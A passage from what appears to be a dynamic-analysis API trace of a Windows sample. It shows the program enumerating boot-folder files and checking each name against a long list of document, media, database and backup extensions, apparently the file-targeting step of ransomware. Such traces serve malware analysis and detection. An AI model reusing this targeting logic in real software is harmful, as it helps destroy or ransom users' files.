nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0191.913] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0191.913] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0191.913] lstrlenW (lpString="BCD.LOG") returned 7 [0191.914] lstrlenW (lpString=".1cd") returned 4 [0191.914] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0191.914] lstrlenW (lpString=".3ds") returned 4 [0191.914] lstrcmpiW (lpString1=".3ds", lpString2=".LOG") returned -1 [0191.914] lstrlenW (lpString=".3fr") returned 4 [0191.914] lstrcmpiW (lpString1=".3fr", lpString2=".LOG") returned -1 [0191.914] lstrlenW (lpString=".3g2") returned 4 [0191.914] lstrcmpiW (lpString1=".3g2", lpString2=".LOG") returned -1 [0191.914] lstrlenW (lpString=".3gp") returned 4 [0191.914] lstrcmpiW (lpString1=".3gp", lpString2=".LOG") returned -1 [0191.914] lstrlenW (lpString=".7z") returned 3 [0191.914] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0191.914] lstrlenW (lpString=".accda") returned 6 [0191.914] lstrcmpiW (lpString1=".accda", lpString2="CD.LOG") returned -1 [0191.914] lstrlenW (lpString=".accdb") returned 6 [0191.914] lstrcmpiW (lpString1=".accdb", lpString2="CD.LOG") returned -1 [0191.914] lstrlenW (lpString=".accdc") returned 6 [0191.914] lstrcmpiW (lpString1=".accdc", lpString2="CD.LOG") returned -1 [0191.914] lstrlenW (lpString=".accde") returned 6 [0191.914] lstrcmpiW (lpString1=".accde", lpString2="CD.LOG") returned -1 [0191.914] lstrlenW (lpString=".accdt") returned 6 [0191.914] lstrcmpiW (lpString1=".accdt", lpString2="CD.LOG") returned -1 [0191.914] lstrlenW (lpString=".accdw") returned 6 [0191.914] lstrcmpiW (lpString1=".accdw", lpString2="CD.LOG") returned -1 [0191.914] lstrlenW (lpString=".adb") returned 4 [0191.914] lstrcmpiW (lpString1=".adb", lpString2=".LOG") returned -1 [0191.914] lstrlenW (lpString=".adp") returned 4 [0191.914] lstrcmpiW (lpString1=".adp", lpString2=".LOG") returned -1 [0191.914] lstrlenW (lpString=".ai") returned 3 [0191.915] lstrcmpiW (lpString1=".ai", lpString2="LOG") returned -1 [0191.915] lstrlenW (lpString=".ai3") returned 4 [0191.915] lstrcmpiW (lpString1=".ai3", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".ai4") returned 4 [0191.915] lstrcmpiW (lpString1=".ai4", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".ai5") returned 4 [0191.915] lstrcmpiW (lpString1=".ai5", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".ai6") returned 4 [0191.915] lstrcmpiW (lpString1=".ai6", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".ai7") returned 4 [0191.915] lstrcmpiW (lpString1=".ai7", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".ai8") returned 4 [0191.915] lstrcmpiW (lpString1=".ai8", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".anim") returned 5 [0191.915] lstrcmpiW (lpString1=".anim", lpString2="D.LOG") returned -1 [0191.915] lstrlenW (lpString=".arw") returned 4 [0191.915] lstrcmpiW (lpString1=".arw", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".as") returned 3 [0191.915] lstrcmpiW (lpString1=".as", lpString2="LOG") returned -1 [0191.915] lstrlenW (lpString=".asa") returned 4 [0191.915] lstrcmpiW (lpString1=".asa", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".asc") returned 4 [0191.915] lstrcmpiW (lpString1=".asc", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".ascx") returned 5 [0191.915] lstrcmpiW (lpString1=".ascx", lpString2="D.LOG") returned -1 [0191.915] lstrlenW (lpString=".asm") returned 4 [0191.915] lstrcmpiW (lpString1=".asm", lpString2=".LOG") returned -1 [0191.915] lstrlenW (lpString=".asmx") returned 5 [0191.916] lstrcmpiW (lpString1=".asmx", lpString2="D.LOG") returned -1 [0191.916] lstrlenW (lpString=".asp") returned 4 [0191.916] lstrcmpiW (lpString1=".asp", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".aspx") returned 5 [0191.916] lstrcmpiW (lpString1=".aspx", lpString2="D.LOG") returned -1 [0191.916] lstrlenW (lpString=".asr") returned 4 [0191.916] lstrcmpiW (lpString1=".asr", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".asx") returned 4 [0191.916] lstrcmpiW (lpString1=".asx", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".avi") returned 4 [0191.916] lstrcmpiW (lpString1=".avi", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".avs") returned 4 [0191.916] lstrcmpiW (lpString1=".avs", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".backup") returned 7 [0191.916] lstrcmpiW (lpString1=".backup", lpString2="BCD.LOG") returned -1 [0191.916] lstrlenW (lpString=".bak") returned 4 [0191.916] lstrcmpiW (lpString1=".bak", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".bay") returned 4 [0191.916] lstrcmpiW (lpString1=".bay", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".bd") returned 3 [0191.916] lstrcmpiW (lpString1=".bd", lpString2="LOG") returned -1 [0191.916] lstrlenW (lpString=".bin") returned 4 [0191.916] lstrcmpiW (lpString1=".bin", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".bmp") returned 4 [0191.916] lstrcmpiW (lpString1=".bmp", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".bz2") returned 4 [0191.916] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0191.916] lstrlenW (lpString=".c") returned 2 [0191.916] lstrcmpiW (lpString1=".c", lpString2="OG") returned -1 [0191.917] lstrlenW (lpString=".cdr") returned 4 [0191.917] lstrcmpiW (lpString1=".cdr", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".cer") returned 4 [0191.917] lstrcmpiW (lpString1=".cer", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".cf") returned 3 [0191.917] lstrcmpiW (lpString1=".cf", lpString2="LOG") returned -1 [0191.917] lstrlenW (lpString=".cfc") returned 4 [0191.917] lstrcmpiW (lpString1=".cfc", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".cfm") returned 4 [0191.917] lstrcmpiW (lpString1=".cfm", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".cfml") returned 5 [0191.917] lstrcmpiW (lpString1=".cfml", lpString2="D.LOG") returned -1 [0191.917] lstrlenW (lpString=".cfu") returned 4 [0191.917] lstrcmpiW (lpString1=".cfu", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".chm") returned 4 [0191.917] lstrcmpiW (lpString1=".chm", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".cin") returned 4 [0191.917] lstrcmpiW (lpString1=".cin", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".class") returned 6 [0191.917] lstrcmpiW (lpString1=".class", lpString2="CD.LOG") returned -1 [0191.917] lstrlenW (lpString=".clx") returned 4 [0191.917] lstrcmpiW (lpString1=".clx", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".config") returned 7 [0191.917] lstrcmpiW (lpString1=".config", lpString2="BCD.LOG") returned -1 [0191.917] lstrlenW (lpString=".cpp") returned 4 [0191.917] lstrcmpiW (lpString1=".cpp", lpString2=".LOG") returned -1 [0191.917] lstrlenW (lpString=".cr2") returned 4 [0191.918] lstrcmpiW (lpString1=".cr2", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".crt") returned 4 [0191.918] lstrcmpiW (lpString1=".crt", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".crw") returned 4 [0191.918] lstrcmpiW (lpString1=".crw", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".cs") returned 3 [0191.918] lstrcmpiW (lpString1=".cs", lpString2="LOG") returned -1 [0191.918] lstrlenW (lpString=".css") returned 4 [0191.918] lstrcmpiW (lpString1=".css", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".csv") returned 4 [0191.918] lstrcmpiW (lpString1=".csv", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".cub") returned 4 [0191.918] lstrcmpiW (lpString1=".cub", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".dae") returned 4 [0191.918] lstrcmpiW (lpString1=".dae", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".dat") returned 4 [0191.918] lstrcmpiW (lpString1=".dat", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".db") returned 3 [0191.918] lstrcmpiW (lpString1=".db", lpString2="LOG") returned -1 [0191.918] lstrlenW (lpString=".dbf") returned 4 [0191.918] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".dbx") returned 4 [0191.918] lstrcmpiW (lpString1=".dbx", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".dc3") returned 4 [0191.918] lstrcmpiW (lpString1=".dc3", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".dcm") returned 4 [0191.918] lstrcmpiW (lpString1=".dcm", lpString2=".LOG") returned -1 [0191.918] lstrlenW (lpString=".dcr") returned 4 [0191.918] lstrcmpiW (lpString1=".dcr", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".der") returned 4 [0191.919] lstrcmpiW (lpString1=".der", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".dib") returned 4 [0191.919] lstrcmpiW (lpString1=".dib", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".dic") returned 4 [0191.919] lstrcmpiW (lpString1=".dic", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".dif") returned 4 [0191.919] lstrcmpiW (lpString1=".dif", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".divx") returned 5 [0191.919] lstrcmpiW (lpString1=".divx", lpString2="D.LOG") returned -1 [0191.919] lstrlenW (lpString=".djvu") returned 5 [0191.919] lstrcmpiW (lpString1=".djvu", lpString2="D.LOG") returned -1 [0191.919] lstrlenW (lpString=".dng") returned 4 [0191.919] lstrcmpiW (lpString1=".dng", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".doc") returned 4 [0191.919] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".docm") returned 5 [0191.919] lstrcmpiW (lpString1=".docm", lpString2="D.LOG") returned -1 [0191.919] lstrlenW (lpString=".docx") returned 5 [0191.919] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0191.919] lstrlenW (lpString=".dot") returned 4 [0191.919] lstrcmpiW (lpString1=".dot", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".dotm") returned 5 [0191.919] lstrcmpiW (lpString1=".dotm", lpString2="D.LOG") returned -1 [0191.919] lstrlenW (lpString=".dotx") returned 5 [0191.919] lstrcmpiW (lpString1=".dotx", lpString2="D.LOG") returned -1 [0191.919] lstrlenW (lpString=".dpx") returned 4 [0191.919] lstrcmpiW (lpString1=".dpx", lpString2=".LOG") returned -1 [0191.919] lstrlenW (lpString=".dqy") returned 4 [0191.920] lstrcmpiW (lpString1=".dqy", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".dsn") returned 4 [0191.920] lstrcmpiW (lpString1=".dsn", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".dt") returned 3 [0191.920] lstrcmpiW (lpString1=".dt", lpString2="LOG") returned -1 [0191.920] lstrlenW (lpString=".dtd") returned 4 [0191.920] lstrcmpiW (lpString1=".dtd", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".dwg") returned 4 [0191.920] lstrcmpiW (lpString1=".dwg", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".dwt") returned 4 [0191.920] lstrcmpiW (lpString1=".dwt", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".dx") returned 3 [0191.920] lstrcmpiW (lpString1=".dx", lpString2="LOG") returned -1 [0191.920] lstrlenW (lpString=".dxf") returned 4 [0191.920] lstrcmpiW (lpString1=".dxf", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".edml") returned 5 [0191.920] lstrcmpiW (lpString1=".edml", lpString2="D.LOG") returned -1 [0191.920] lstrlenW (lpString=".efd") returned 4 [0191.920] lstrcmpiW (lpString1=".efd", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".elf") returned 4 [0191.920] lstrcmpiW (lpString1=".elf", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".emf") returned 4 [0191.920] lstrcmpiW (lpString1=".emf", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".emz") returned 4 [0191.920] lstrcmpiW (lpString1=".emz", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".epf") returned 4 [0191.920] lstrcmpiW (lpString1=".epf", lpString2=".LOG") returned -1 [0191.920] lstrlenW (lpString=".eps") returned 4 [0191.920] lstrcmpiW (lpString1=".eps", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".epsf") returned 5 [0191.921] lstrcmpiW (lpString1=".epsf", lpString2="D.LOG") returned -1 [0191.921] lstrlenW (lpString=".epsp") returned 5 [0191.921] lstrcmpiW (lpString1=".epsp", lpString2="D.LOG") returned -1 [0191.921] lstrlenW (lpString=".erf") returned 4 [0191.921] lstrcmpiW (lpString1=".erf", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".exr") returned 4 [0191.921] lstrcmpiW (lpString1=".exr", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".f4v") returned 4 [0191.921] lstrcmpiW (lpString1=".f4v", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".fido") returned 5 [0191.921] lstrcmpiW (lpString1=".fido", lpString2="D.LOG") returned -1 [0191.921] lstrlenW (lpString=".flm") returned 4 [0191.921] lstrcmpiW (lpString1=".flm", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".flv") returned 4 [0191.921] lstrcmpiW (lpString1=".flv", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".frm") returned 4 [0191.921] lstrcmpiW (lpString1=".frm", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".fxg") returned 4 [0191.921] lstrcmpiW (lpString1=".fxg", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".geo") returned 4 [0191.921] lstrcmpiW (lpString1=".geo", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".gif") returned 4 [0191.921] lstrcmpiW (lpString1=".gif", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".grs") returned 4 [0191.921] lstrcmpiW (lpString1=".grs", lpString2=".LOG") returned -1 [0191.921] lstrlenW (lpString=".gz") returned 3 [0191.921] lstrcmpiW (lpString1=".gz", lpString2="LOG") returned -1 [0191.921] lstrlenW (lpString=".h") returned 2 [0191.922] lstrcmpiW (lpString1=".h", lpString2="OG") returned -1 [0191.922] lstrlenW (lpString=".hdr") returned 4 [0191.922] lstrcmpiW (lpString1=".hdr", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".hpp") returned 4 [0191.922] lstrcmpiW (lpString1=".hpp", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".hta") returned 4 [0191.922] lstrcmpiW (lpString1=".hta", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".htc") returned 4 [0191.922] lstrcmpiW (lpString1=".htc", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".htm") returned 4 [0191.922] lstrcmpiW (lpString1=".htm", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".html") returned 5 [0191.922] lstrcmpiW (lpString1=".html", lpString2="D.LOG") returned -1 [0191.922] lstrlenW (lpString=".icb") returned 4 [0191.922] lstrcmpiW (lpString1=".icb", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".ics") returned 4 [0191.922] lstrcmpiW (lpString1=".ics", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".iff") returned 4 [0191.922] lstrcmpiW (lpString1=".iff", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".inc") returned 4 [0191.922] lstrcmpiW (lpString1=".inc", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".indd") returned 5 [0191.922] lstrcmpiW (lpString1=".indd", lpString2="D.LOG") returned -1 [0191.922] lstrlenW (lpString=".ini") returned 4 [0191.922] lstrcmpiW (lpString1=".ini", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".iqy") returned 4 [0191.922] lstrcmpiW (lpString1=".iqy", lpString2=".LOG") returned -1 [0191.922] lstrlenW (lpString=".j2c") returned 4 [0191.922] lstrcmpiW (lpString1=".j2c", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".j2k") returned 4 [0191.923] lstrcmpiW (lpString1=".j2k", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".java") returned 5 [0191.923] lstrcmpiW (lpString1=".java", lpString2="D.LOG") returned -1 [0191.923] lstrlenW (lpString=".jp2") returned 4 [0191.923] lstrcmpiW (lpString1=".jp2", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".jpc") returned 4 [0191.923] lstrcmpiW (lpString1=".jpc", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".jpe") returned 4 [0191.923] lstrcmpiW (lpString1=".jpe", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".jpeg") returned 5 [0191.923] lstrcmpiW (lpString1=".jpeg", lpString2="D.LOG") returned -1 [0191.923] lstrlenW (lpString=".jpf") returned 4 [0191.923] lstrcmpiW (lpString1=".jpf", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".jpg") returned 4 [0191.923] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".jpx") returned 4 [0191.923] lstrcmpiW (lpString1=".jpx", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".js") returned 3 [0191.923] lstrcmpiW (lpString1=".js", lpString2="LOG") returned -1 [0191.923] lstrlenW (lpString=".jsf") returned 4 [0191.923] lstrcmpiW (lpString1=".jsf", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".json") returned 5 [0191.923] lstrcmpiW (lpString1=".json", lpString2="D.LOG") returned -1 [0191.923] lstrlenW (lpString=".jsp") returned 4 [0191.923] lstrcmpiW (lpString1=".jsp", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".kdc") returned 4 [0191.923] lstrcmpiW (lpString1=".kdc", lpString2=".LOG") returned -1 [0191.923] lstrlenW (lpString=".kmz") returned 4 [0191.924] lstrcmpiW (lpString1=".kmz", lpString2=".LOG") returned -1 [0191.924] lstrlenW (lpString=".kwm") returned 4 [0191.924] lstrcmpiW (lpString1=".kwm", lpString2=".LOG") returned -1 [0191.924] lstrlenW (lpString=".lasso") returned 6 [0191.924] lstrcmpiW (lpString1=".lasso", lpString2="CD.LOG") returned -1 [0191.924] lstrlenW (lpString=".lbi") returned 4 [0191.924] lstrcmpiW (lpString1=".lbi", lpString2=".LOG") returned -1 [0191.924] lstrlenW (lpString=".lgf") returned 4 [0191.924] lstrcmpiW (lpString1=".lgf", lpString2=".LOG") returned -1 [0191.924] lstrlenW (lpString=".lgp") returned 4 [0191.924] lstrcmpiW (lpString1=".lgp", lpString2=".LOG") returned -1 [0191.924] lstrlenW (lpString=".log") returned 4 [0191.924] lstrcmpiW (lpString1=".log", lpString2=".LOG") returned 0 [0191.924] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0191.924] lstrlenW (lpString="BCD.LOG1") returned 8 [0191.924] lstrlenW (lpString=".1cd") returned 4 [0191.924] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0191.924] lstrlenW (lpString=".3ds") returned 4 [0191.924] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1 [0191.925] lstrlenW (lpString=".3fr") returned 4 [0191.925] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1 [0191.925] lstrlenW (lpString=".3g2") returned 4 [0191.925] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1 [0191.925] lstrlenW (lpString=".3gp") returned 4 [0191.925] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1 [0191.925] lstrlenW (lpString=".7z") returned 3 [0191.925] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0191.925] lstrlenW (lpString=".accda") returned 6 [0191.925] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1 [0191.925] lstrlenW (lpString=".accdb") returned 6 [0191.925] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1 [0191.925] lstrlenW (lpString=".accdc") returned 6 [0191.925] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1 [0191.925] lstrlenW (lpString=".accde") returned 6 [0191.925] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1 [0191.925] lstrlenW (lpString=".accdt") returned 6 [0191.925] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1 [0191.925] lstrlenW (lpString=".accdw") returned 6 [0191.925] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1 [0191.925] lstrlenW (lpString=".adb") returned 4 [0191.925] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1 [0191.925] lstrlenW (lpString=".adp") returned 4 [0191.925] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1 [0191.925] lstrlenW (lpString=".ai") returned 3 [0191.925] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1 [0191.926] lstrlenW (lpString=".ai3") returned 4 [0191.926] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".ai4") returned 4 [0191.926] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".ai5") returned 4 [0191.926] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".ai6") returned 4 [0191.926] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".ai7") returned 4 [0191.926] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".ai8") returned 4 [0191.926] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".anim") returned 5 [0191.926] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1 [0191.926] lstrlenW (lpString=".arw") returned 4 [0191.926] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".as") returned 3 [0191.926] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1 [0191.926] lstrlenW (lpString=".asa") returned 4 [0191.926] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".asc") returned 4 [0191.926] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".ascx") returned 5 [0191.926] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1 [0191.926] lstrlenW (lpString=".asm") returned 4 [0191.926] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1 [0191.926] lstrlenW (lpString=".asmx") returned 5 [0191.926] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1 [0191.926] lstrlenW (lpString=".asp") returned 4 [0191.927] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".aspx") returned 5 [0191.927] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1 [0191.927] lstrlenW (lpString=".asr") returned 4 [0191.927] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".asx") returned 4 [0191.927] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".avi") returned 4 [0191.927] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".avs") returned 4 [0191.927] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".backup") returned 7 [0191.927] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1 [0191.927] lstrlenW (lpString=".bak") returned 4 [0191.927] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".bay") returned 4 [0191.927] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".bd") returned 3 [0191.927] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1 [0191.927] lstrlenW (lpString=".bin") returned 4 [0191.927] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".bmp") returned 4 [0191.927] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".bz2") returned 4 [0191.927] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0191.927] lstrlenW (lpString=".c") returned 2 [0191.927] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1 [0191.927] lstrlenW (lpString=".cdr") returned 4 [0191.928] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".cer") returned 4 [0191.928] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".cf") returned 3 [0191.928] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1 [0191.928] lstrlenW (lpString=".cfc") returned 4 [0191.928] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".cfm") returned 4 [0191.928] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".cfml") returned 5 [0191.928] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1 [0191.928] lstrlenW (lpString=".cfu") returned 4 [0191.928] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".chm") returned 4 [0191.928] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".cin") returned 4 [0191.928] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".class") returned 6 [0191.928] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1 [0191.928] lstrlenW (lpString=".clx") returned 4 [0191.928] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".config") returned 7 [0191.928] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1 [0191.928] lstrlenW (lpString=".cpp") returned 4 [0191.928] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".cr2") returned 4 [0191.928] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1 [0191.928] lstrlenW (lpString=".crt") returned 4 [0191.929] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".crw") returned 4 [0191.929] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".cs") returned 3 [0191.929] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1 [0191.929] lstrlenW (lpString=".css") returned 4 [0191.929] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1 